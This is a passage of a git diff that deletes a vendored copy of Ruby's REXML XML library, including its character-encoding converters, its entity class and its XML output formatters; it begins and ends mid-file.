-        str[0,2] = ""
-        return UNILE
-      end
-      str =~ /^\s*<\?xml\s+version\s*=\s*(['"]).*?\1\s+encoding\s*=\s*(["'])(.*?)\2/m
-      return $3.upcase if $3
-      return UTF_8
-    end
-  end
-end
diff --git a/vendor/plugins/rexml/lib/rexml/encodings/CP-1252.rb b/vendor/plugins/rexml/lib/rexml/encodings/CP-1252.rb
deleted file mode 100644
index 8675f9ff..00000000
--- a/vendor/plugins/rexml/lib/rexml/encodings/CP-1252.rb
+++ /dev/null
@@ -1,103 +0,0 @@
-#
-# This class was contributed by Mikko Tiihonen mikko DOT tiihonen AT hut DOT fi
-#
-module REXML
-  module Encoding
-  	register( "CP-1252" ) do |o|
-  		class << o
-  			alias encode encode_cp1252
-			alias decode decode_cp1252
-  		end
-  	end
-
-    # Convert from UTF-8
-    def encode_cp1252(content)
-      array_utf8 = content.unpack('U*')
-      array_enc = []
-      array_utf8.each do |num|
-        case num
-          # shortcut first bunch basic characters
-        when 0..0xFF; array_enc << num
-          # characters added compared to iso-8859-1
-        when 0x20AC; array_enc << 0x80 # 0xe2 0x82 0xac
-        when 0x201A; array_enc << 0x82 # 0xe2 0x82 0x9a
-        when 0x0192; array_enc << 0x83 # 0xc6 0x92
-        when 0x201E; array_enc << 0x84 # 0xe2 0x82 0x9e
-        when 0x2026; array_enc << 0x85 # 0xe2 0x80 0xa6
-        when 0x2020; array_enc << 0x86 # 0xe2 0x80 0xa0
-        when 0x2021; array_enc << 0x87 # 0xe2 0x80 0xa1
-        when 0x02C6; array_enc << 0x88 # 0xcb 0x86
-        when 0x2030; array_enc << 0x89 # 0xe2 0x80 0xb0
-        when 0x0160; array_enc << 0x8A # 0xc5 0xa0
-        when 0x2039; array_enc << 0x8B # 0xe2 0x80 0xb9
-        when 0x0152; array_enc << 0x8C # 0xc5 0x92
-        when 0x017D; array_enc << 0x8E # 0xc5 0xbd
-        when 0x2018; array_enc << 0x91 # 0xe2 0x80 0x98
-        when 0x2019; array_enc << 0x92 # 0xe2 0x80 0x99
-        when 0x201C; array_enc << 0x93 # 0xe2 0x80 0x9c
-        when 0x201D; array_enc << 0x94 # 0xe2 0x80 0x9d
-        when 0x2022; array_enc << 0x95 # 0xe2 0x80 0xa2
-        when 0x2013; array_enc << 0x96 # 0xe2 0x80 0x93
-        when 0x2014; array_enc << 0x97 # 0xe2 0x80 0x94
-        when 0x02DC; array_enc << 0x98 # 0xcb 0x9c
-        when 0x2122; array_enc << 0x99 # 0xe2 0x84 0xa2
-        when 0x0161; array_enc << 0x9A # 0xc5 0xa1
-        when 0x203A; array_enc << 0x9B # 0xe2 0x80 0xba
-        when 0x0152; array_enc << 0x9C # 0xc5 0x93
-        when 0x017E; array_enc << 0x9E # 0xc5 0xbe
-        when 0x0178; array_enc << 0x9F # 0xc5 0xb8
-        else
-          # all remaining basic characters can be used directly
-          if num <= 0xFF
-            array_enc << num
-          else
-            # Numeric entity (&#nnnn;); shard by  Stefan Scholl
-            array_enc.concat "&\##{num};".unpack('C*')
-          end
-        end
-      end
-      array_enc.pack('C*')
-    end
-    
-    # Convert to UTF-8
-    def decode_cp1252(str)
-      array_latin9 = str.unpack('C*')
-      array_enc = []
-      array_latin9.each do |num|
-        case num
-          # characters that added compared to iso-8859-1
-        when 0x80; array_enc << 0x20AC # 0xe2 0x82 0xac
-        when 0x82; array_enc << 0x201A # 0xe2 0x82 0x9a
-        when 0x83; array_enc << 0x0192 # 0xc6 0x92
-        when 0x84; array_enc << 0x201E # 0xe2 0x82 0x9e
-        when 0x85; array_enc << 0x2026 # 0xe2 0x80 0xa6
-        when 0x86; array_enc << 0x2020 # 0xe2 0x80 0xa0
-        when 0x87; array_enc << 0x2021 # 0xe2 0x80 0xa1
-        when 0x88; array_enc << 0x02C6 # 0xcb 0x86
-        when 0x89; array_enc << 0x2030 # 0xe2 0x80 0xb0
-        when 0x8A; array_enc << 0x0160 # 0xc5 0xa0
-        when 0x8B; array_enc << 0x2039 # 0xe2 0x80 0xb9
-        when 0x8C; array_enc << 0x0152 # 0xc5 0x92
-        when 0x8E; array_enc << 0x017D # 0xc5 0xbd
-        when 0x91; array_enc << 0x2018 # 0xe2 0x80 0x98
-        when 0x92; array_enc << 0x2019 # 0xe2 0x80 0x99
-        when 0x93; array_enc << 0x201C # 0xe2 0x80 0x9c
-        when 0x94; array_enc << 0x201D # 0xe2 0x80 0x9d
-        when 0x95; array_enc << 0x2022 # 0xe2 0x80 0xa2
-        when 0x96; array_enc << 0x2013 # 0xe2 0x80 0x93
-        when 0x97; array_enc << 0x2014 # 0xe2 0x80 0x94
-        when 0x98; array_enc << 0x02DC # 0xcb 0x9c
-        when 0x99; array_enc << 0x2122 # 0xe2 0x84 0xa2
-        when 0x9A; array_enc << 0x0161 # 0xc5 0xa1
-        when 0x9B; array_enc << 0x203A # 0xe2 0x80 0xba
-        when 0x9C; array_enc << 0x0152 # 0xc5 0x93
-        when 0x9E; array_enc << 0x017E # 0xc5 0xbe
-        when 0x9F; array_enc << 0x0178 # 0xc5 0xb8
-        else
-          array_enc << num
-        end
-      end
-      array_enc.pack('U*')
-    end
-  end
-end
diff --git a/vendor/plugins/rexml/lib/rexml/encodings/EUC-JP.rb b/vendor/plugins/rexml/lib/rexml/encodings/EUC-JP.rb
deleted file mode 100644
index db37b6bf..00000000
--- a/vendor/plugins/rexml/lib/rexml/encodings/EUC-JP.rb
+++ /dev/null
@@ -1,35 +0,0 @@
-module REXML
-  module Encoding
-    begin
-      require 'uconv'
-
-      def decode_eucjp(str)
-        Uconv::euctou8(str)
-      end
-
-      def encode_eucjp content
-        Uconv::u8toeuc(content)
-      end
-    rescue LoadError
-      require 'nkf'
-
-      EUCTOU8 = '-Ewm0'
-      U8TOEUC = '-Wem0'
-
-      def decode_eucjp(str)
-        NKF.nkf(EUCTOU8, str)
-      end
-
-      def encode_eucjp content
-        NKF.nkf(U8TOEUC, content)
-      end
-    end
-
-    register("EUC-JP") do |obj|
-      class << obj
-        alias decode decode_eucjp
-        alias encode encode_eucjp
-      end
-    end
-  end
-end
diff --git a/vendor/plugins/rexml/lib/rexml/encodings/ICONV.rb b/vendor/plugins/rexml/lib/rexml/encodings/ICONV.rb
deleted file mode 100644
index 172fba7c..00000000
--- a/vendor/plugins/rexml/lib/rexml/encodings/ICONV.rb
+++ /dev/null
@@ -1,22 +0,0 @@
-require "iconv"
-raise LoadError unless defined? Iconv
-
-module REXML
-  module Encoding
-    def decode_iconv(str)
-      Iconv.conv(UTF_8, @encoding, str)
-    end
-
-    def encode_iconv(content)
-      Iconv.conv(@encoding, UTF_8, content)
-    end
-
-    register("ICONV") do |obj|
-      Iconv.conv(UTF_8, obj.encoding, nil)
-      class << obj
-        alias decode decode_iconv
-        alias encode encode_iconv
-      end
-    end
-  end
-end
diff --git a/vendor/plugins/rexml/lib/rexml/encodings/ISO-8859-1.rb b/vendor/plugins/rexml/lib/rexml/encodings/ISO-8859-1.rb
deleted file mode 100644
index 2873d13b..00000000
--- a/vendor/plugins/rexml/lib/rexml/encodings/ISO-8859-1.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-require 'rexml/encodings/US-ASCII'
-
-module REXML
-  module Encoding
-    register("ISO-8859-1", &encoding_method("US-ASCII"))
-  end
-end
diff --git a/vendor/plugins/rexml/lib/rexml/encodings/ISO-8859-15.rb b/vendor/plugins/rexml/lib/rexml/encodings/ISO-8859-15.rb
deleted file mode 100644
index 8dea0d38..00000000
--- a/vendor/plugins/rexml/lib/rexml/encodings/ISO-8859-15.rb
+++ /dev/null
@@ -1,72 +0,0 @@
-#
-# This class was contributed by Mikko Tiihonen mikko DOT tiihonen AT hut DOT fi
-#
-module REXML
-  module Encoding
-  	register("ISO-8859-15") do |o|
-  		alias encode to_iso_8859_15
-      alias decode from_iso_8859_15
-  	end
-
-    # Convert from UTF-8
-    def to_iso_8859_15(content)
-      array_utf8 = content.unpack('U*')
-      array_enc = []
-      array_utf8.each do |num|
-        case num
-          # shortcut first bunch basic characters
-        when 0..0xA3; array_enc << num
-          # characters removed compared to iso-8859-1
-        when 0xA4; array_enc << '&#164;'
-        when 0xA6; array_enc << '&#166;'
-        when 0xA8; array_enc << '&#168;'
-        when 0xB4; array_enc << '&#180;'
-        when 0xB8; array_enc << '&#184;'
-        when 0xBC; array_enc << '&#188;'
-        when 0xBD; array_enc << '&#189;'
-        when 0xBE; array_enc << '&#190;'
-          # characters added compared to iso-8859-1
-        when 0x20AC; array_enc << 0xA4 # 0xe2 0x82 0xac
-        when 0x0160; array_enc << 0xA6 # 0xc5 0xa0
-        when 0x0161; array_enc << 0xA8 # 0xc5 0xa1
-        when 0x017D; array_enc << 0xB4 # 0xc5 0xbd
-        when 0x017E; array_enc << 0xB8 # 0xc5 0xbe
-        when 0x0152; array_enc << 0xBC # 0xc5 0x92
-        when 0x0153; array_enc << 0xBD # 0xc5 0x93
-        when 0x0178; array_enc << 0xBE # 0xc5 0xb8
-        else
-          # all remaining basic characters can be used directly
-          if num <= 0xFF
-            array_enc << num
-          else
-            # Numeric entity (&#nnnn;); shard by  Stefan Scholl
-            array_enc.concat "&\##{num};".unpack('C*')
-          end
-        end
-      end
-      array_enc.pack('C*')
-    end
-    
-    # Convert to UTF-8
-    def from_iso_8859_15(str)
-      array_latin9 = str.unpack('C*')
-      array_enc = []
-      array_latin9.each do |num|
-        case num
-          # characters that differ compared to iso-8859-1
-        when 0xA4; array_enc << 0x20AC
-        when 0xA6; array_enc << 0x0160
-        when 0xA8; array_enc << 0x0161
-        when 0xB4; array_enc << 0x017D
-        when 0xB8; array_enc << 0x017E
-        when 0xBC; array_enc << 0x0152
-        when 0xBD; array_enc << 0x0153
-        when 0xBE; array_enc << 0x0178
-        else
-          array_enc << num
-        end
-      end
-      array_enc.pack('U*')
-    end
-  end
-end
diff --git a/vendor/plugins/rexml/lib/rexml/encodings/SHIFT-JIS.rb b/vendor/plugins/rexml/lib/rexml/encodings/SHIFT-JIS.rb
deleted file mode 100644
index 9e0f4af2..00000000
--- a/vendor/plugins/rexml/lib/rexml/encodings/SHIFT-JIS.rb
+++ /dev/null
@@ -1,37 +0,0 @@
-module REXML
-  module Encoding
-    begin
-      require 'uconv'
-
-      def decode_sjis content
-        Uconv::sjistou8(content)
-      end
-
-      def encode_sjis(str)
-        Uconv::u8tosjis(str)
-      end
-    rescue LoadError
-      require 'nkf'
-
-      SJISTOU8 = '-Swm0x'
-      U8TOSJIS = '-Wsm0x'
-
-      def decode_sjis(str)
-        NKF.nkf(SJISTOU8, str)
-      end
-
-      def encode_sjis content
-        NKF.nkf(U8TOSJIS, content)
-      end
-    end
-
-    b = proc do |obj|
-      class << obj
-        alias decode decode_sjis
-        alias encode encode_sjis
-      end
-    end
-    register("SHIFT-JIS", &b)
-    register("SHIFT_JIS", &b)
-  end
-end
diff --git a/vendor/plugins/rexml/lib/rexml/encodings/SHIFT_JIS.rb b/vendor/plugins/rexml/lib/rexml/encodings/SHIFT_JIS.rb
deleted file mode 100644
index e355704a..00000000
--- a/vendor/plugins/rexml/lib/rexml/encodings/SHIFT_JIS.rb
+++ /dev/null
@@ -1 +0,0 @@
-require 'rexml/encodings/SHIFT-JIS'
diff --git a/vendor/plugins/rexml/lib/rexml/encodings/UNILE.rb b/vendor/plugins/rexml/lib/rexml/encodings/UNILE.rb
deleted file mode 100644
index d054140c..00000000
--- a/vendor/plugins/rexml/lib/rexml/encodings/UNILE.rb
+++ /dev/null
@@ -1,34 +0,0 @@
-module REXML
-  module Encoding
-    def encode_unile content
-      array_utf8 = content.unpack("U*")
-      array_enc = []
-      array_utf8.each do |num|
-        if ((num>>16) > 0)
-          array_enc << ??
-          array_enc << 0
-        else
-          array_enc << (num & 0xFF)
-          array_enc << (num >> 8)
-        end
-      end
-      array_enc.pack('C*')
-    end
-
-    def decode_unile(str)
-      array_enc=str.unpack('C*')
-      array_utf8 = []
-      0.step(array_enc.size-1, 2){|i| 
-        array_utf8 << (array_enc.at(i) + array_enc.at(i+1)*0x100)
-      }
-      array_utf8.pack('U*')
-    end
-
-    register(UNILE) do |obj|
-      class << obj
-        alias decode decode_unile
-        alias encode encode_unile
-      end
-    end
-  end
-end
diff --git a/vendor/plugins/rexml/lib/rexml/encodings/US-ASCII.rb b/vendor/plugins/rexml/lib/rexml/encodings/US-ASCII.rb
deleted file mode 100644
index fb4c2170..00000000
--- a/vendor/plugins/rexml/lib/rexml/encodings/US-ASCII.rb
+++ /dev/null
@@ -1,30 +0,0 @@
-module REXML
-  module Encoding
-    # Convert from UTF-8
-    def encode_ascii content
-      array_utf8 = content.unpack('U*')
-      array_enc = []
-      array_utf8.each do |num|
-        if num <= 0x7F
-          array_enc << num
-        else
-          # Numeric entity (&#nnnn;); shard by  Stefan Scholl
-          array_enc.concat "&\##{num};".unpack('C*')
-        end
-      end
-      array_enc.pack('C*')
-    end
-
-    # Convert to UTF-8
-    def decode_ascii(str)
-      str.unpack('C*').pack('U*')
-    end
-
-    register("US-ASCII") do |obj|
-      class << obj
-        alias decode decode_ascii
-        alias encode encode_ascii
-      end
-    end
-  end
-end
diff --git a/vendor/plugins/rexml/lib/rexml/encodings/UTF-16.rb b/vendor/plugins/rexml/lib/rexml/encodings/UTF-16.rb
deleted file mode 100644
index 007c493d..00000000
--- a/vendor/plugins/rexml/lib/rexml/encodings/UTF-16.rb
+++ /dev/null
@@ -1,35 +0,0 @@
-module REXML
-  module Encoding
-    def encode_utf16 content
-      array_utf8 = content.unpack("U*")
-      array_enc = []
-      array_utf8.each do |num|
-        if ((num>>16) > 0)
-          array_enc << 0
-          array_enc << ??
-        else
-          array_enc << (num >> 8)
-          array_enc << (num & 0xFF)
-        end
-      end
-      array_enc.pack('C*')
-    end
-
-    def decode_utf16(str)
-      str = str[2..-1] if /^\376\377/n =~ str
-      array_enc=str.unpack('C*')
-      array_utf8 = []
-      0.step(array_enc.size-1, 2){|i| 
-        array_utf8 << (array_enc.at(i+1) + array_enc.at(i)*0x100)
-      }
-      array_utf8.pack('U*')
-    end
-
-    register(UTF_16) do |obj|
-      class << obj
-        alias decode decode_utf16
-        alias encode encode_utf16
-      end
-    end
-  end
-end
diff --git a/vendor/plugins/rexml/lib/rexml/encodings/UTF-8.rb b/vendor/plugins/rexml/lib/rexml/encodings/UTF-8.rb
deleted file mode 100644
index bb08f441..00000000
--- a/vendor/plugins/rexml/lib/rexml/encodings/UTF-8.rb
+++ /dev/null
@@ -1,18 +0,0 @@
-module REXML
-  module Encoding
-    def encode_utf8 content
-      content
-    end
-
-    def decode_utf8(str)
-      str
-    end
-
-    register(UTF_8) do |obj|
-      class << obj
-        alias decode decode_utf8
-        alias encode encode_utf8
-      end
-    end
-  end
-end
diff --git a/vendor/plugins/rexml/lib/rexml/entity.rb b/vendor/plugins/rexml/lib/rexml/entity.rb
deleted file mode 100644
index 1c6a25c4..00000000
--- a/vendor/plugins/rexml/lib/rexml/entity.rb
+++ /dev/null
@@ -1,165 +0,0 @@
-require 'rexml/child'
-require 'rexml/source'
-require 'rexml/xmltokens'
-
-module REXML
-	# God, I hate DTDs.  I really do.  Why this idiot standard still
-	# plagues us is beyond me.
-	class Entity < Child
-		include XMLTokens
-		PUBIDCHAR = "\x20\x0D\x0Aa-zA-Z0-9\\-()+,./:=?;!*@$_%#"
-		SYSTEMLITERAL = %Q{((?:"[^"]*")|(?:'[^']*'))}
-		PUBIDLITERAL = %Q{("[#{PUBIDCHAR}']*"|'[#{PUBIDCHAR}]*')}
-		EXTERNALID = "(?:(?:(SYSTEM)\\s+#{SYSTEMLITERAL})|(?:(PUBLIC)\\s+#{PUBIDLITERAL}\\s+#{SYSTEMLITERAL}))"
-		NDATADECL = "\\s+NDATA\\s+#{NAME}"
-		PEREFERENCE = "%#{NAME};"
-		ENTITYVALUE = %Q{((?:"(?:[^%&"]|#{PEREFERENCE}|#{REFERENCE})*")|(?:'([^%&']|#{PEREFERENCE}|#{REFERENCE})*'))}
-		PEDEF = "(?:#{ENTITYVALUE}|#{EXTERNALID})"
-		ENTITYDEF = "(?:#{ENTITYVALUE}|(?:#{EXTERNALID}(#{NDATADECL})?))"
-		PEDECL = "<!ENTITY\\s+(%)\\s+#{NAME}\\s+#{PEDEF}\\s*>"
-		GEDECL = "<!ENTITY\\s+#{NAME}\\s+#{ENTITYDEF}\\s*>"
-		ENTITYDECL = /\s*(?:#{GEDECL})|(?:#{PEDECL})/um
-
-		attr_reader :name, :external, :ref, :ndata, :pubid
-
-		# Create a new entity.  Simple entities can be constructed by passing a
-		# name, value to the constructor; this creates a generic, plain entity
-		# reference. For anything more complicated, you have to pass a Source to
-		# the constructor with the entity definiton, or use the accessor methods.
-		# +WARNING+: There is no validation of entity state except when the entity
-		# is read from a stream.  If you start poking around with the accessors,
-		# you can easily create a non-conformant Entity.  The best thing to do is
-		# dump the stupid DTDs and use XMLSchema instead.
-		# 
-		#  e = Entity.new( 'amp', '&' )
-		def initialize stream, value=nil, parent=nil, reference=false
-			super(parent)
-			@ndata = @pubid = @value = @external = nil
-			if stream.kind_of? Array
-				@name = stream[1]
-				if stream[-1] == '%'
-					@reference = true 
-					stream.pop
-				else
-					@reference = false
-				end
-				if stream[2] =~ /SYSTEM|PUBLIC/
-					@external = stream[2]
-					if @external == 'SYSTEM'
-						@ref = stream[3]
-						@ndata = stream[4] if stream.size == 5
-					else
-						@pubid = stream[3]
-						@ref = stream[4]
-					end
-				else
-					@value = stream[2]
-				end
-			else
-				@reference = reference
-				@external = nil
-				@name = stream
-				@value = value
-			end
-		end
-
-		# Evaluates whether the given string matchs an entity definition,
-		# returning true if so, and false otherwise.
-		def Entity::matches? string
-			(ENTITYDECL =~ string) == 0
-		end
-
-		# Evaluates to the unnormalized value of this entity; that is, replacing
-		# all entities -- both %ent; and &ent; entities.  This differs from
-		# +value()+ in that +value+ only replaces %ent; entities.
-		def unnormalized
-			v = value()
-			return nil if v.nil?
-			@unnormalized = Text::unnormalize(v, parent)
-			@unnormalized
-		end
-
-		#once :unnormalized
-
-		# Returns the value of this entity unprocessed -- raw.  This is the
-		# normalized value; that is, with all %ent; and &ent; entities intact
-		def normalized
-			@value
-		end
-
-		# Write out a fully formed, correct entity definition (assuming the Entity
-		# object itself is valid.)
-    #
-    # out::
-    #   An object implementing <TT>&lt;&lt;<TT> to which the entity will be
-    #   output
-    # indent::
-    #   *DEPRECATED* and ignored
-		def write out, indent=-1
-			out << '<!ENTITY '
-			out << '% ' if @reference
-			out << @name
-			out << ' '
-			if @external
-				out << @external << ' '
-				if @pubid
-					q = @pubid.include?('"')?"'":'"'
-					out << q << @pubid << q << ' '
-				end
-				q = @ref.include?('"')?"'":'"'
-				out << q << @ref << q
-				out << ' NDATA ' << @ndata if @ndata
-			else
-				q = @value.include?('"')?"'":'"'
-				out << q << @value << q
-			end
-			out << '>'
-		end
-
-		# Returns this entity as a string.  See write().
-		def to_s
-			rv = ''
-			write rv
-			rv
-		end
-
-		PEREFERENCE_RE = /#{PEREFERENCE}/um
-		# Returns the value of this entity.  At the moment, only internal entities
-		# are processed.  If the value contains internal references (IE,
-		# %blah;), those are replaced with their values.  IE, if the doctype
-		# contains:
-		#  <!ENTITY % foo "bar">
-		#  <!ENTITY yada "nanoo %foo; nanoo>
-		# then:
-		#  doctype.entity('yada').value   #-> "nanoo bar nanoo"
-		def value
-			if @value
-				matches = @value.scan(PEREFERENCE_RE)
-				rv = @value.clone
-				if @parent
-					matches.each do |entity_reference|
-						entity_value = @parent.entity( entity_reference[0] )
-						rv.gsub!( /%#{entity_reference.join};/um, entity_value )
-					end
-				end
-				return rv
-			end
-			nil
-		end
-	end
-
-	# This is a set of entity constants -- the ones defined in the XML
-	# specification.  These are +gt+, +lt+, +amp+, +quot+ and +apos+.
-	module EntityConst
-		# +>+
-		GT = Entity.new( 'gt', '>' )
-		# +<+
-		LT = Entity.new( 'lt', '<' )
-		# +&+
-		AMP = Entity.new( 'amp', '&' )
-		# +"+
-		QUOT = Entity.new( 'quot', '"' )
-		# +'+
-		APOS = Entity.new( 'apos', "'" )
-	end
-end
diff --git a/vendor/plugins/rexml/lib/rexml/formatters/default.rb b/vendor/plugins/rexml/lib/rexml/formatters/default.rb
deleted file mode 100644
index bfeee4d2..00000000
--- a/vendor/plugins/rexml/lib/rexml/formatters/default.rb
+++ /dev/null
@@ -1,109 +0,0 @@
-module REXML
-  module Formatters
-    class Default
-      # Prints out the XML document with no formatting -- except if id_hack is
-      # set.
-      #
-      # ie_hack::
-      #   If set to true, then inserts whitespace before the close of an empty
-      #   tag, so that IE's bad XML parser doesn't choke.
-      def initialize( ie_hack=false )
-        @ie_hack = ie_hack
-      end
-
-      # Writes the node to some output.
-      #
-      # node::
-      #   The node to write
-      # output::
-      #   A class implementing <TT>&lt;&lt;</TT>.  Pass in an Output object to
-      #   change the output encoding.
-      def write( node, output )
-        case node
-
-        when Document 
-          if node.xml_decl.encoding != "UTF-8" && !output.kind_of?(Output)
-            output = Output.new( output, node.xml_decl.encoding )
-          end
-          write_document( node, output )
-
-        when Element
-          write_element( node, output )
-
-        when Declaration, ElementDecl, NotationDecl, ExternalEntity, Entity,
-             Attribute, AttlistDecl
-          node.write( output,-1 )
-
-        when Instruction
-          write_instruction( node, output )
-
-        when DocType, XMLDecl
-          node.write( output )
-
-        when Comment
-          write_comment( node, output )
-
-        when CData
-          write_cdata( node, output )
-
-        when Text
-          write_text( node, output )
-
-        else
-          raise Exception.new("XML FORMATTING ERROR")
-
-        end
-      end
-
-      protected
-      def write_document( node, output )
-        node.children.each { |child| write( child, output ) }
-      end
-
-      def write_element( node, output )
-        output << "<#{node.expanded_name}"
-
-        node.attributes.to_a.sort_by {|attr| attr.expanded_name}.each do |attr|
-          output << " "
-          attr.write( output )
-        end unless node.attributes.empty?
-
-        if node.children.empty?
-          output << " " if @ie_hack
-          output << "/" 
-        else
-          output << ">"
-          node.children.each { |child|
-            write( child, output )
-          }
-          output << "</#{node.expanded_name}"
-        end
-        output << ">"
-      end
-
-      def write_text( node, output )
-        output << node.to_s()
-      end
-
-      def write_comment( node, output )
-        output << Comment::START
-        output << node.to_s
-        output << Comment::STOP
-      end
-
-      def write_cdata( node, output )
-        output << CData::START
-        output << node.to_s
-        output << CData::STOP
-      end
-
-      def write_instruction( node, output )
-        output << Instruction::START.sub(/\\/u, '')
-        output << node.target
-        output << ' '
-        output << node.content
-        output << Instruction::STOP.sub(/\\/u, '')
-      end
-    end
-  end
-end
diff --git a/vendor/plugins/rexml/lib/rexml/formatters/pretty.rb b/vendor/plugins/rexml/lib/rexml/formatters/pretty.rb
deleted file mode 100644
index 20306a00..00000000
--- a/vendor/plugins/rexml/lib/rexml/formatters/pretty.rb
+++ /dev/null
@@ -1,140 +0,0 @@
-require 'rexml/formatters/default'
-
-module REXML
-  module Formatters
-    # Pretty-prints an XML document.  This destroys whitespace in text nodes
-    # and will insert carriage returns and indentations.
-    #
-    # TODO: Add an option to print attributes on new lines
-    class Pretty < Default
-
-      # If compact is set to true, then the formatter will attempt to use as
-      # little space as possible
-      attr_accessor :compact
-      # The width of a page.  Used for formatting text
-      attr_accessor :width
-
-      # Create a new pretty printer.
-      #
-      # output::
-      #   An object implementing '<<(String)', to which the output will be written.
-      # indentation::
-      #   An integer greater than 0.  The indentation of each level will be
-      #   this number of spaces.  If this is < 1, the behavior of this object
-      #   is undefined.  Defaults to 2.
-      # ie_hack::
-      #   If true, the printer will insert whitespace before closing empty
-      #   tags, thereby allowing Internet Explorer's feeble XML parser to
-      #   function. Defaults to false.
-      def initialize( indentation=2, ie_hack=false )
-        @indentation = indentation
-        @level = 0
-        @ie_hack = ie_hack
-        @width = 80
-        @compact = false
-      end
-
-      protected
-      def write_element(node, output)
-        output << ' '*@level
-        output << "<#{node.expanded_name}"
-
-        node.attributes.each_attribute do |attr|
-          output << " "
-          attr.write( output )
-        end unless node.attributes.empty?
-
-        if node.children.empty?
-          if @ie_hack
-            output << " "
-          end
-          output << "/" 
-        else
-          output << ">"
-          # If compact and all children are text, and if the formatted output
-          # is less than the specified width, then try to print everything on
-          # one line
-          skip = false
-          if compact
-            if node.children.inject(true) {|s,c| s & c.kind_of?(Text)}
-              string = ""
-              old_level = @level
-              @level = 0
-              node.children.each { |child| write( child, string ) }
-              @level = old_level
-              if string.length < @width
-                output << string
-                skip = true
-              end
-            end
-          end
-          unless skip
-            output << "\n"
-            @level += @indentation
-            node.children.each { |child|
-              next if child.kind_of?(Text) and child.to_s.strip.length == 0
-              write( child, output )
-              output << "\n"
-            }
-            @level -= @indentation
-            output << ' '*@level
-          end
-          output << "</#{node.expanded_name}"
-        end
-        output << ">"
-      end
-
-      def write_text( node, output )
-        s = node.to_s()
-        s.gsub!(/\s/,' ')
-        s.squeeze!(" ")
-        s = wrap(s, 80-@level)
-        s = indent_text(s, @level, " ", true)
-        output << (' '*@level + s)
-      end
-
-      def write_comment( node, output)
-        output << ' ' * @level
-        super
-      end
-
-      def write_cdata( node, output)
-        output << ' ' * @level
-        super
-      end
-
-      def write_document( node, output )
-        # Ok, this is a bit odd.  All XML documents have an XML declaration,
-        # but it may not write itself if the user didn't specifically add it,
-        # either through the API or in the input document.  If it doesn't write
-        # itself, then we don't need a carriage return... which makes this
-        # logic more complex.
-        node.children.each { |child|
-          next if child == node.children[-1] and child.instance_of?(Text)
-          unless child == node.children[0] or child.instance_of?(Text) or
-            (child == node.children[1] and !node.children[0].writethis)
-            output << "\n"
-          end
-          write( child, output )
-        }
-      end
-
-      private
-      def indent_text(string, level=1, style="\t", indentfirstline=true)
-        return string if level < 0
-        string.gsub(/\n/, "\n#{style*level}")
-      end
-
-      def wrap(string, width)
-        # Recursivly wrap string at width.
-        return string if string.length <= width
-        place = string.rindex(/\s/, width) # Position in string with last ' ' before cutoff
-        place = string.index(/\s/) if place.nil? # Otherwise first space
-        return string if place.nil? # otherwise, whole string
-        return string[0,place] + "\n" + wrap(string[place+1..-1], width)
-      end
-
-    end
-  end
-end
-
diff --git a/vendor/plugins/rexml/lib/rexml/formatters/transitive.rb b/vendor/plugins/rexml/lib/rexml/formatters/transitive.rb
deleted file mode 100644
index 6d92aa63..00000000
--- a/vendor/plugins/rexml/lib/rexml/formatters/transitive.rb
+++ /dev/null
@@ -1,58 +0,0 @@
-require 'rexml/formatters/pretty'
-
-module REXML
-  module Formatters
-    # The Transitive formatter writes an XML document that parses to an
-    # identical document as the source document.  This means that no extra
-    # whitespace nodes are inserted, and whitespace within text nodes is
-    # preserved.  Within these constraints, the document is pretty-printed,
-    # with whitespace inserted into the metadata to introduce formatting.
-    #
-    # Note that this is only useful if the original XML is not already
-    # formatted.  Since this formatter does not alter whitespace nodes, the
-    # results of formatting already formatted XML will be odd.
-    class Transitive < Default
-      def initialize( indentation=2, ie_hack=false )
-        @indentation = indentation
-		@ie_hack = ie_hack
-        @level = 0
-      end
-
-      protected
-      def write_element( node, output )
-        output << "<#{node.expanded_name}"
-
-        node.attributes.each_attribute do |attr|
-          output << " "
-          attr.write( output )
-        end unless node.attributes.empty?
-
-        output << "\n"
-        output << ' '*@level
-        if node.children.empty?
-		  output << " " if @ie_hack
-          output << "/" 
-        else
-          output << ">"
-          # If compact and all children are text, and if the formatted output
-          # is less than the specified width, then try to print everything on
-          # one line
-          skip = false
-          @level += @indentation
-          node.children.each { |child|
-            write( child, output )
-          }
-          @level -= @indentation
-          output << "</#{node.expanded_name}"
-          output << "\n"
-          output << ' '*@level
-        end
-        output << ">"
-      end
-
-      def write_text( node, output )
-        output << node.to_s()
-      end
-    end
-  end
-end
diff --git a/vendor/plugins/rexml/lib/rexml/functions.rb b/vendor/plugins/rexml/lib/rexml/functions.rb
deleted file mode 100644
index b3c89877..00000000
--- a/vendor/plugins/rexml/lib/rexml/functions.rb
+++ /dev/null
@@ -1,388 +0,0 @@
-module REXML
-  # If you add a method, keep in mind two things:
-  # (1) the first argument will always be a list of nodes from which to
-  # filter.  In the case of context methods (such as position), the function
-  # should return an array with a value for each child in the array.
-  # (2) all method calls from XML will have "-" replaced with "_".
-  # Therefore, in XML, "local-name()" is identical (and actually becomes)
-  # "local_name()"
-  module Functions
-    @@context = nil
-    @@namespace_context = {}
-    @@variables = {}
-
-    def Functions::namespace_context=(x) ; @@namespace_context=x ; end
-    def Functions::variables=(x) ; @@variables=x ; end
-    def Functions::namespace_context ; @@namespace_context ; end
-    def Functions::variables ; @@variables ; end
-
-    def Functions::context=(value); @@context = value; end
-
-    def Functions::text( )
-      if @@context[:node].node_type == :element
-        return @@context[:node].find_all{|n| n.node_type == :text}.collect{|n| n.value}
-      elsif @@context[:node].node_type == :text
-        return @@context[:node].value
-      else
-        return false
-      end
-    end
-
-    def Functions::last( )
-      @@context[:size]
-    end
-
-    def Functions::position( )
-      @@context[:index]
-    end
-
-    def Functions::count( node_set )
-      node_set.size
-    end
-
-    # Since REXML is non-validating, this method is not implemented as it
-    # requires a DTD
-    def Functions::id( object )
-    end
-
-    # UNTESTED
-    def Functions::local_name( node_set=nil )
-      get_namespace( node_set ) do |node|
-        return node.local_name 
-      end
-    end
-
-    def Functions::namespace_uri( node_set=nil )
-      get_namespace( node_set ) {|node| node.namespace}
-    end
-
-    def Functions::name( node_set=nil )
-      get_namespace( node_set ) do |node| 
-        node.expanded_name
-      end
-    end
-
-    # Helper method.
-    def Functions::get_namespace( node_set = nil )
-      if node_set == nil
-        yield @@context[:node] if defined? @@context[:node].namespace
-      else  
-        if node_set.respond_to? :each
-          node_set.each { |node| yield node if defined? node.namespace }
-        elsif node_set.respond_to? :namespace
-          yield node_set
-        end
-      end
-    end
-
-    # A node-set is converted to a string by returning the string-value of the
-    # node in the node-set that is first in document order. If the node-set is
-    # empty, an empty string is returned.
-    #
